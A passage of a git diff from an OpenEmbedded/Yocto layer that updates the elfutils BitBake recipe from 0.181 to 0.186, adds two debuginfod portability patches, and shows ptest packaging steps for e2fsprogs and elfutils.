+ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
+
+ALTERNATIVE:${PN}-mke2fs = "mke2fs mkfs.ext2"
+ALTERNATIVE_LINK_NAME[mke2fs] = "${base_sbindir}/mke2fs"
+ALTERNATIVE_LINK_NAME[mkfs.ext2] = "${base_sbindir}/mkfs.ext2"
+
+ALTERNATIVE:${PN}-tune2fs = "tune2fs"
+ALTERNATIVE_LINK_NAME[tune2fs] = "${base_sbindir}/tune2fs"
+
+RDEPENDS:e2fsprogs-e2scrub = "bash"
+RDEPENDS:${PN}-ptest += "coreutils procps bash bzip2 diffutils perl sed"
+RDEPENDS:${PN}-ptest += "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/tests
+}
+
+do_install_ptest() {
+ # This file's permissions depends on the host umask so be deterministic
+ chmod 0644 ${B}/tests/test_data.tmp
+ cp -R --no-dereference --preserve=mode,links -v ${B}/tests ${D}${PTEST_PATH}/test
+ cp -R --no-dereference --preserve=mode,links -v ${S}/tests/* ${D}${PTEST_PATH}/test
+ sed -e 's!../e2fsck/e2fsck!e2fsck!g' \
+ -e 's!../misc/tune2fs!tune2fs!g' -i ${D}${PTEST_PATH}/test/*/expect*
+ sed -e 's!../e2fsck/e2fsck!${base_sbindir}/e2fsck!g' -i ${D}${PTEST_PATH}/test/*/script
+
+ # Remove various files
+ find "${D}${PTEST_PATH}" -type f \
+ \( -name 'Makefile' -o -name 'Makefile.in' -o -name '*.o' -o -name '*.c' -o -name '*.h' \)\
+ -exec rm -f {} +
+
+ install -d ${D}${PTEST_PATH}/lib
+ install -m 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/
+}
diff --git a/meta/recipes-devtools/elfutils/elfutils_0.181.bb b/meta/recipes-devtools/elfutils/elfutils_0.181.bb
deleted file mode 100644
index 6c49a5fc26..0000000000
--- a/meta/recipes-devtools/elfutils/elfutils_0.181.bb
+++ /dev/null
@@ -1,154 +0,0 @@
-SUMMARY = "Utilities and libraries for handling compiled object files"
-HOMEPAGE = "https://sourceware.org/elfutils"
-SECTION = "base"
-LICENSE = "GPLv2 & LGPLv3+ & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-DEPENDS = "zlib virtual/libintl"
-DEPENDS_append_libc-musl = " argp-standalone fts musl-obstack "
-# The Debian patches below are from:
-# http://ftp.de.debian.org/debian/pool/main/e/elfutils/elfutils_0.176-1.debian.tar.xz
-SRC_URI = "https://sourceware.org/elfutils/ftp/${PV}/${BP}.tar.bz2 \
- file://0001-dso-link-change.patch \
- file://0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch \
- file://0003-fixheadercheck.patch \
- file://0004-Disable-the-test-to-convert-euc-jp.patch \
- file://0006-Fix-build-on-aarch64-musl.patch \
- file://0001-libasm-may-link-with-libbz2-if-found.patch \
- file://0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch \
- file://0001-skip-the-test-when-gcc-not-deployed.patch \
- file://0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch \
- file://run-ptest \
- file://ptest.patch \
- file://0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch \
- "
-SRC_URI_append_libc-musl = " \
- file://0001-musl-obstack-fts.patch \
- file://0002-musl-libs.patch \
- file://0003-musl-utils.patch \
- file://0004-Fix-error-on-musl.patch \
- file://0015-config-eu.am-do-not-use-Werror.patch \
- "
-SRC_URI[sha256sum] = "29a6ad7421ec2acfee489bb4a699908281ead2cb63a20a027ce8804a165f0eb3"
-
-inherit autotools gettext ptest pkgconfig
-
-EXTRA_OECONF = "--program-prefix=eu- --disable-debuginfod"
-
-DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[bzip2] = "--with-bzlib,--without-bzlib,${DEPENDS_BZIP2}"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
-PACKAGECONFIG[libdebuginfod] = "--enable-libdebuginfod,--disable-libdebuginfod,curl"
-
-RDEPENDS_${PN}-ptest += "libasm libelf bash make coreutils ${PN}-binutils"
-
-EXTRA_OECONF_append_class-target = " --disable-tests-rpath"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-
-do_compile_ptest() {
- cd ${B}/tests
- oe_runmake buildtest-TESTS oecheck
-}
-
-do_install_ptest() {
- if [ ${PTEST_ENABLED} = "1" ]; then
- # copy the files which needed by the cases
- TEST_FILES="strip strip.o addr2line elfcmp objdump readelf size.o nm.o nm elflint elfcompress elfclassify stack unstrip"
- install -d -m 755 ${D}${PTEST_PATH}/src
- install -d -m 755 ${D}${PTEST_PATH}/libelf
- install -d -m 755 ${D}${PTEST_PATH}/libdw
- install -d -m 755 ${D}${PTEST_PATH}/libdwfl
- install -d -m 755 ${D}${PTEST_PATH}/libdwelf
- install -d -m 755 ${D}${PTEST_PATH}/libasm
- for test_file in ${TEST_FILES}; do
- if [ -f ${B}/src/${test_file} ]; then
- cp -r ${B}/src/${test_file} ${D}${PTEST_PATH}/src
- fi
- done
- cp ${D}${libdir}/libelf-${PV}.so ${D}${PTEST_PATH}/libelf/libelf.so
- cp ${D}${libdir}/libdw-${PV}.so ${D}${PTEST_PATH}/libdw/libdw.so
- cp ${D}${libdir}/libasm-${PV}.so ${D}${PTEST_PATH}/libasm/libasm.so
- cp ${S}/libelf/*.h ${D}${PTEST_PATH}/libelf/
- cp ${S}/libdw/*.h ${D}${PTEST_PATH}/libdw/
- cp ${S}/libdwfl/*.h ${D}${PTEST_PATH}/libdwfl/
- cp ${S}/libdwelf/*.h ${D}${PTEST_PATH}/libdwelf/
- cp ${S}/libasm/*.h ${D}${PTEST_PATH}/libasm/
- cp -r ${S}/tests/ ${D}${PTEST_PATH}
- cp -r ${B}/tests/* ${D}${PTEST_PATH}/tests
- cp -r ${B}/config.h ${D}${PTEST_PATH}
- cp -r ${B}/backends ${D}${PTEST_PATH}
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
- fi
-}
-
-EXTRA_OEMAKE_class-native = ""
-EXTRA_OEMAKE_class-nativesdk = ""
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Package utilities separately
-PACKAGES =+ "${PN}-binutils libelf libasm libdw"
-
-# shared libraries are licensed GPLv2 or GPLv3+, binaries GPLv3+
-# according to NEWS file:
-# "The license is now GPLv2/LGPLv3+ for the libraries and GPLv3+ for stand-alone
-# programs. There is now also a formal CONTRIBUTING document describing how to
-# submit patches."
-LICENSE_${PN}-binutils = "GPLv3+"
-LICENSE_${PN} = "GPLv3+"
-LICENSE_libelf = "GPLv2 | LGPLv3+"
-LICENSE_libasm = "GPLv2 | LGPLv3+"
-LICENSE_libdw = "GPLv2 | LGPLv3+"
-
-FILES_${PN}-binutils = "\
- ${bindir}/eu-addr2line \
- ${bindir}/eu-ld \
- ${bindir}/eu-nm \
- ${bindir}/eu-readelf \
- ${bindir}/eu-size \
- ${bindir}/eu-strip"
-
-FILES_libelf = "${libdir}/libelf-${PV}.so ${libdir}/libelf.so.*"
-FILES_libasm = "${libdir}/libasm-${PV}.so ${libdir}/libasm.so.*"
-FILES_libdw = "${libdir}/libdw-${PV}.so ${libdir}/libdw.so.* ${libdir}/elfutils/lib*"
-# Some packages have the version preceeding the .so instead properly
-# versioned .so.<version>, so we need to reorder and repackage.
-#FILES_${PN} += "${libdir}/*-${PV}.so ${base_libdir}/*-${PV}.so"
-#FILES_SOLIBSDEV = "${libdir}/libasm.so ${libdir}/libdw.so ${libdir}/libelf.so"
-
-# The package contains symlinks that trip up insane
-INSANE_SKIP_${MLPREFIX}libdw = "dev-so"
-# The nlist binary in the tests uses explicitly minimal compiler flags
-INSANE_SKIP_${PN}-ptest += "ldflags"
-
-# avoid stripping some generated binaries otherwise some of the tests such as test-nlist,
-# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
-INHIBIT_PACKAGE_STRIP_FILES = "\
- ${PKGD}${PTEST_PATH}/tests/test-nlist \
- ${PKGD}${PTEST_PATH}/tests/elfstrmerge \
- ${PKGD}${PTEST_PATH}/tests/backtrace-child \
- ${PKGD}${PTEST_PATH}/tests/backtrace-data \
- ${PKGD}${PTEST_PATH}/tests/backtrace-dwarf \
- ${PKGD}${PTEST_PATH}/tests/deleted \
- ${PKGD}${PTEST_PATH}/src/strip \
- ${PKGD}${PTEST_PATH}/src/addr2line \
- ${PKGD}${PTEST_PATH}/src/elfcmp \
- ${PKGD}${PTEST_PATH}/src/objdump \
- ${PKGD}${PTEST_PATH}/src/readelf \
- ${PKGD}${PTEST_PATH}/src/nm \
- ${PKGD}${PTEST_PATH}/src/elflint \
- ${PKGD}${PTEST_PATH}/src/elfclassify \
- ${PKGD}${PTEST_PATH}/src/stack \
- ${PKGD}${PTEST_PATH}/src/unstrip \
- ${PKGD}${PTEST_PATH}/libelf/libelf.so \
- ${PKGD}${PTEST_PATH}/libdw/libdw.so \
- ${PKGD}${PTEST_PATH}/libasm/libasm.so \
- ${PKGD}${PTEST_PATH}/backends/libebl_i386.so \
- ${PKGD}${PTEST_PATH}/backends/libebl_x86_64.so \
-"
-
-PRIVATE_LIBS_${PN}-ptest = "libdw.so.1 libelf.so.1 libasm.so.1"
diff --git a/meta/recipes-devtools/elfutils/elfutils_0.186.bb b/meta/recipes-devtools/elfutils/elfutils_0.186.bb
new file mode 100644
index 0000000000..93f53c1f2e
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/elfutils_0.186.bb
@@ -0,0 +1,166 @@
+SUMMARY = "Utilities and libraries for handling compiled object files"
+HOMEPAGE = "https://sourceware.org/elfutils"
+DESCRIPTION = "elfutils is a collection of utilities and libraries to read, create and modify ELF binary files, find and handle DWARF debug data, symbols, thread state and stacktraces for processes and core files on GNU/Linux."
+SECTION = "base"
+LICENSE = "GPLv2 & GPLv2+ & LGPLv3+ & GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://debuginfod/debuginfod-client.c;endline=27;md5=d2adfd8f5347d4c96e3c280393ce66da \
+ "
+DEPENDS = "zlib virtual/libintl"
+DEPENDS:append:libc-musl = " argp-standalone fts musl-obstack "
+# The Debian patches below are from:
+# http://ftp.de.debian.org/debian/pool/main/e/elfutils/elfutils_0.176-1.debian.tar.xz
+SRC_URI = "https://sourceware.org/elfutils/ftp/${PV}/${BP}.tar.bz2 \
+ file://0001-dso-link-change.patch \
+ file://0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch \
+ file://0003-fixheadercheck.patch \
+ file://0006-Fix-build-on-aarch64-musl.patch \
+ file://0001-libasm-may-link-with-libbz2-if-found.patch \
+ file://0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch \
+ file://0001-skip-the-test-when-gcc-not-deployed.patch \
+ file://run-ptest \
+ file://ptest.patch \
+ file://0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch \
+ file://0001-debuginfod-fix-compilation-on-platforms-without-erro.patch \
+ file://0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch \
+ "
+SRC_URI:append:libc-musl = " \
+ file://0003-musl-utils.patch \
+ file://0015-config-eu.am-do-not-use-Werror.patch \
+ "
+SRC_URI[sha256sum] = "7f6fb9149b1673d38d9178a0d3e0fb8a1ec4f53a9f4c2ff89469609879641177"
+
+inherit autotools gettext ptest pkgconfig
+PTEST_ENABLED:libc-musl = "0"
+
+EXTRA_OECONF = "--program-prefix=eu-"
+
+DEPENDS_BZIP2 = "bzip2-replacement-native"
+DEPENDS_BZIP2:class-target = "bzip2"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'debuginfod', 'debuginfod libdebuginfod', '', d)}"
+PACKAGECONFIG[bzip2] = "--with-bzlib,--without-bzlib,${DEPENDS_BZIP2}"
+PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+PACKAGECONFIG[libdebuginfod] = "--enable-libdebuginfod,--disable-libdebuginfod,curl"
+PACKAGECONFIG[debuginfod] = "--enable-debuginfod,--disable-debuginfod,libarchive sqlite3 libmicrohttpd"
+
+RDEPENDS:${PN}-ptest += "libasm libelf bash make coreutils ${PN}-binutils iproute2-ss bsdtar gcc-symlinks binutils-symlinks libgcc-dev"
+
+EXTRA_OECONF:append:class-target = " --disable-tests-rpath"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils glibc-dbg glibc-dev"
+INSANE_SKIP:${PN}-ptest = "debug-deps dev-deps"
+
+do_compile_ptest() {
+ cd ${B}/tests
+ oe_runmake buildtest-TESTS oecheck
+}
+
+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ # copy the files which needed by the cases
+ TEST_FILES="strip strip.o addr2line elfcmp objdump readelf size.o nm.o nm elflint elfcompress elfclassify stack unstrip"
+ install -d -m 755 ${D}${PTEST_PATH}/src
+ install -d -m 755 ${D}${PTEST_PATH}/libelf
+ install -d -m 755 ${D}${PTEST_PATH}/libdw
+ install -d -m 755 ${D}${PTEST_PATH}/libdwfl
+ install -d -m 755 ${D}${PTEST_PATH}/libdwelf
+ install -d -m 755 ${D}${PTEST_PATH}/libasm
+ install -d -m 755 ${D}${PTEST_PATH}/libcpu
+ install -d -m 755 ${D}${PTEST_PATH}/libebl
+ for test_file in ${TEST_FILES}; do
+ if [ -f ${B}/src/${test_file} ]; then
+ cp -r ${B}/src/${test_file} ${D}${PTEST_PATH}/src
+ fi
+ done
+ cp ${D}${libdir}/libelf-${PV}.so ${D}${PTEST_PATH}/libelf/libelf.so
+ cp ${D}${libdir}/libdw-${PV}.so ${D}${PTEST_PATH}/libdw/libdw.so
+ cp ${D}${libdir}/libasm-${PV}.so ${D}${PTEST_PATH}/libasm/libasm.so
+ cp ${B}/libcpu/libcpu.a ${D}${PTEST_PATH}/libcpu/
+ cp ${B}/libebl/libebl.a ${D}${PTEST_PATH}/libebl/
+ cp ${S}/libelf/*.h ${D}${PTEST_PATH}/libelf/
+ cp ${S}/libdw/*.h ${D}${PTEST_PATH}/libdw/
+ cp ${S}/libdwfl/*.h ${D}${PTEST_PATH}/libdwfl/
+ cp ${S}/libdwelf/*.h ${D}${PTEST_PATH}/libdwelf/
+ cp ${S}/libasm/*.h ${D}${PTEST_PATH}/libasm/
+ cp -r ${S}/tests/ ${D}${PTEST_PATH}
+ cp -r ${B}/tests/* ${D}${PTEST_PATH}/tests
+ cp -r ${B}/config.h ${D}${PTEST_PATH}
+ cp -r ${B}/backends ${D}${PTEST_PATH}
+ cp -r ${B}/debuginfod ${D}${PTEST_PATH}
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
+ fi
+}
+
+EXTRA_OEMAKE:class-native = ""
+EXTRA_OEMAKE:class-nativesdk = ""
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Package utilities separately
+PACKAGES =+ "${PN}-binutils libelf libasm libdw libdebuginfod"
+
+# shared libraries are licensed GPLv2 or GPLv3+, binaries GPLv3+
+# according to NEWS file:
+# "The license is now GPLv2/LGPLv3+ for the libraries and GPLv3+ for stand-alone
+# programs. There is now also a formal CONTRIBUTING document describing how to
+# submit patches."
+LICENSE:${PN}-binutils = "GPLv3+"
+LICENSE:${PN} = "GPLv3+"
+LICENSE:libelf = "GPLv2 | LGPLv3+"
+LICENSE:libasm = "GPLv2 | LGPLv3+"
+LICENSE:libdw = "GPLv2 | LGPLv3+"
+LICENSE:libdebuginfod = "GPLv2+ | LGPLv3+"
+
+FILES:${PN}-binutils = "\
+ ${bindir}/eu-addr2line \
+ ${bindir}/eu-ld \
+ ${bindir}/eu-nm \
+ ${bindir}/eu-readelf \
+ ${bindir}/eu-size \
+ ${bindir}/eu-strip"
+
+FILES:libelf = "${libdir}/libelf-${PV}.so ${libdir}/libelf.so.*"
+FILES:libasm = "${libdir}/libasm-${PV}.so ${libdir}/libasm.so.*"
+FILES:libdw = "${libdir}/libdw-${PV}.so ${libdir}/libdw.so.* ${libdir}/elfutils/lib*"
+FILES:libdebuginfod = "${libdir}/libdebuginfod-${PV}.so ${libdir}/libdebuginfod.so.*"
+# Some packages have the version preceeding the .so instead properly
+# versioned .so.<version>, so we need to reorder and repackage.
+#FILES:${PN} += "${libdir}/*-${PV}.so ${base_libdir}/*-${PV}.so"
+#FILES_SOLIBSDEV = "${libdir}/libasm.so ${libdir}/libdw.so ${libdir}/libelf.so"
+
+# The package contains symlinks that trip up insane
+INSANE_SKIP:${MLPREFIX}libdw = "dev-so"
+# The nlist binary in the tests uses explicitly minimal compiler flags
+INSANE_SKIP:${PN}-ptest += "ldflags"
+
+# avoid stripping some generated binaries otherwise some of the tests such as test-nlist,
+# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
+INHIBIT_PACKAGE_STRIP_FILES = "\
+ ${PKGD}${PTEST_PATH}/tests/test-nlist \
+ ${PKGD}${PTEST_PATH}/tests/elfstrmerge \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-child \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-data \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-dwarf \
+ ${PKGD}${PTEST_PATH}/tests/deleted \
+ ${PKGD}${PTEST_PATH}/tests/dwfllines \
+ ${PKGD}${PTEST_PATH}/src/strip \
+ ${PKGD}${PTEST_PATH}/src/addr2line \
+ ${PKGD}${PTEST_PATH}/src/elfcmp \
+ ${PKGD}${PTEST_PATH}/src/objdump \
+ ${PKGD}${PTEST_PATH}/src/readelf \
+ ${PKGD}${PTEST_PATH}/src/nm \
+ ${PKGD}${PTEST_PATH}/src/elflint \
+ ${PKGD}${PTEST_PATH}/src/elfclassify \
+ ${PKGD}${PTEST_PATH}/src/stack \
+ ${PKGD}${PTEST_PATH}/src/unstrip \
+ ${PKGD}${PTEST_PATH}/libelf/libelf.so \
+ ${PKGD}${PTEST_PATH}/libdw/libdw.so \
+ ${PKGD}${PTEST_PATH}/libasm/libasm.so \
+ ${PKGD}${PTEST_PATH}/backends/libebl_i386.so \
+ ${PKGD}${PTEST_PATH}/backends/libebl_x86_64.so \
+"
+
+PRIVATE_LIBS:${PN}-ptest = "libdw.so.1 libelf.so.1 libasm.so.1 libdebuginfod.so.1"
diff --git a/meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch b/meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch
new file mode 100644
index 0000000000..089f1a2210
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch
@@ -0,0 +1,45 @@
+From a0852044907110479d0fb212dda2c5e45af2d3aa Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 9 Dec 2021 10:43:06 +0100
+Subject: [PATCH] debuginfod/debuginfod-client.c: use long for cache time
+ configurations
+
+time_t is platform dependent and some of architectures e.g.
+x32, riscv32, arc use 64bit time_t even while they are 32bit
+architectures, therefore directly using integer printf formats will not
+work portably.
+
+Use a plain long everywhere as the intervals are small enough
+that it will not be problematic.
+
+Upstream-Status: Submitted [via email to mark@klomp.org,elfutils-devel@sourceware.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ debuginfod/debuginfod-client.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/debuginfod/debuginfod-client.c b/debuginfod/debuginfod-client.c
+index c875ee6..11e0fd5 100644
+--- a/debuginfod/debuginfod-client.c
++++ b/debuginfod/debuginfod-client.c
+@@ -134,17 +134,17 @@ struct debuginfod_client
+ how frequently the cache should be cleaned. The file's st_mtime represents
+ the time of last cleaning. */
+ static const char *cache_clean_interval_filename = "cache_clean_interval_s";
+-static const time_t cache_clean_default_interval_s = 86400; /* 1 day */
++static const long cache_clean_default_interval_s = 86400; /* 1 day */
+
+ /* The cache_miss_default_s within the debuginfod cache specifies how
+ frequently the 000-permision file should be released.*/
+-static const time_t cache_miss_default_s = 600; /* 10 min */
++static const long cache_miss_default_s = 600; /* 10 min */
+ static const char *cache_miss_filename = "cache_miss_s";
+
+ /* The cache_max_unused_age_s file within the debuginfod cache specifies the
+ the maximum time since last access that a file will remain in the cache. */
+ static const char *cache_max_unused_age_filename = "max_unused_age_s";
+-static const time_t cache_default_max_unused_age_s = 604800; /* 1 week */
++static const long cache_default_max_unused_age_s = 604800; /* 1 week */
+
+ /* Location of the cache of files downloaded from debuginfods.
+ The default parent directory is $HOME, or '/' if $HOME doesn't exist. */
diff --git a/meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch b/meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch
new file mode 100644
index 0000000000..e80d96aaca
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch
@@ -0,0 +1,54 @@
+From 99617d7ab5b01c322b0f27d4aa0dd91c61793a5e Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?=C3=89rico=20Nogueira?= <erico.erc@gmail.com>
+Date: Wed, 10 Nov 2021 21:17:48 -0300
+Subject: [PATCH] debuginfod: fix compilation on platforms without <error.h>
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+"system.h" only declares the error() function, so it needs to be in an
+'extern "C"' block, otherwise linking fails.
+
+Since we are here, use quotes for "system.h" header, since it's a local
+header, not a system one.
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=elfutils.git;a=commit;h=90b9e91b961b794a4e58ab76d9191a5e7343584e]
+Signed-off-by: Érico Nogueira <erico.erc@gmail.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ debuginfod/ChangeLog | 4 ++++
+ debuginfod/debuginfod.cxx | 2 +-
+ 2 files changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/debuginfod/ChangeLog b/debuginfod/ChangeLog
+index f06d3ee..822bd63 100644
+--- a/debuginfod/ChangeLog
++++ b/debuginfod/ChangeLog
+@@ -1,3 +1,7 @@
++2021-11-10 Érico N. Rolim <erico.erc@gmail.com>
++
++ * debuginfod.cxx: include "system.h" under 'extern "C"' block.
++
+ 2021-11-05 Frank Ch. Eigler <fche@redhat.com>
+
+ PR28430
+diff --git a/debuginfod/debuginfod.cxx b/debuginfod/debuginfod.cxx
+index 521cb52..764e7b9 100644
+--- a/debuginfod/debuginfod.cxx
++++ b/debuginfod/debuginfod.cxx
+@@ -33,11 +33,11 @@
+
+ extern "C" {
+ #include "printversion.h"
++#include "system.h"
+ }
+
+ #include "debuginfod.h"
+ #include <dwarf.h>
+-#include <system.h>
+
+ #include <argp.h>
+ #ifdef __GNUC__
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch b/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
index 62031073e3..6acc036406 100644
--- a/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
@@ -1,4 +1,4 @@
-From ec9a7742734aae5417c0ebbffce66ac353e6cae7 Mon Sep 17 00:00:00 2001
+From c5fb59ac0819b5b6d8244c613cbcf92cb09840c1 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:10:57 +0800
Subject: [PATCH] dso link change
@@ -23,7 +23,7 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index e462e7d..ea1215b 100644
+index 88d0ac8..c28d81f 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -45,7 +45,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) -ldl -lpthread
@@ -36,10 +36,10 @@ index e462e7d..ea1215b 100644
endif
libebl = ../libebl/libebl.a ../backends/libebl_backends.a ../libcpu/libcpu.a
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index eab4ae6..f59a01f 100644
+index c145720..72afd0e 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -516,7 +516,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl -lpthread
+@@ -554,7 +554,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl -lpthread
libelf = ../libelf/libelf.a -lz
libasm = ../libasm/libasm.a
else
diff --git a/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch b/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
index 73ead6d412..09c9d3ea24 100644
--- a/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
@@ -1,4 +1,4 @@
-From 8e5fff8b1d819e0870fb22b27950bb5f10c7a272 Mon Sep 17 00:00:00 2001
+From ed1975deeaa47f98d212fd144c8bda075b1a5d36 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 4 Oct 2017 22:30:46 -0700
Subject: [PATCH] libasm may link with libbz2 if found
@@ -17,7 +17,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index ea1215b..13d9bda 100644
+index c28d81f..951e978 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -40,11 +40,11 @@ EXTRA_DIST += make-debug-archive.in
diff --git a/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch b/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
index b26ed99f65..c8d55d583a 100644
--- a/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
@@ -1,4 +1,4 @@
-From e571cbd0c20085ec71969971f19280b5de95cfb7 Mon Sep 17 00:00:00 2001
+From f40cbd43acdb1fefef4fa53a6034296d83cbff7d Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 16 Aug 2018 09:58:26 +0800
Subject: [PATCH] libelf/elf_end.c: check data_list.data.d.d_buf before free it
diff --git a/meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch b/meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch
deleted file mode 100644
index 67d4703c80..0000000000
--- a/meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch
+++ /dev/null
@@ -1,124 +0,0 @@
-From 1a62bb8e8f2cb0f180c749946a48114e8f391b55 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:17:25 +0800
-Subject: [PATCH] musl-obstack-fts
-
-Look for libfts and libobstack during configure, these
-libraries are external to libc when using musl, whereas
-on glibc these libraries are provided in libc itself.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- configure.ac | 54 +++++++++++++++++++++++++++++++++++++++++++++++
- libdw/Makefile.am | 2 +-
- src/Makefile.am | 6 +++---
- 3 files changed, 58 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index ab9c751..b057d86 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -538,6 +538,60 @@ else
- fi
- AC_SUBST([argp_LDADD])
-
-+dnl Check if we have fts available from our libc
-+AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#if !defined(__x86_64__)
-+ #undef _FILE_OFFSET_BITS
-+ #define _FILE_OFFSET_BITS 32
-+ #endif
-+ #include <fts.h>],
-+ [FTS* fts = 0; return fts_close(fts); return 0;]
-+ )],
-+ [libc_has_fts="true"],
-+ [libc_has_fts="false"]
-+)
-+
-+dnl If our libc doesn't provide fts, then test for libfts
-+if test "$libc_has_fts" = "false" ; then
-+ AC_MSG_WARN("libc does not have fts")
-+ AC_CHECK_LIB([fts], [fts_close], [have_fts="true"], [have_fts="false"])
-+
-+ if test "$have_fts" = "false"; then
-+ AC_MSG_ERROR("no libfts found")
-+ else
-+ fts_LDADD="-lfts"
-+ fi
-+else
-+ fts_LDADD=""
-+fi
-+AC_SUBST([fts_LDADD])
-+
-+dnl Check if we have obstack available from our libc
-+AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#include <obstack.h>],
-+ [_obstack_begin(0, 0, 0, NULL, NULL); return 0;]
-+ )],
-+ [libc_has_obstack="true"],
-+ [libc_has_obstack="false"]
-+)
-+
-+dnl If our libc doesn't provide obstack, then test for libobstack
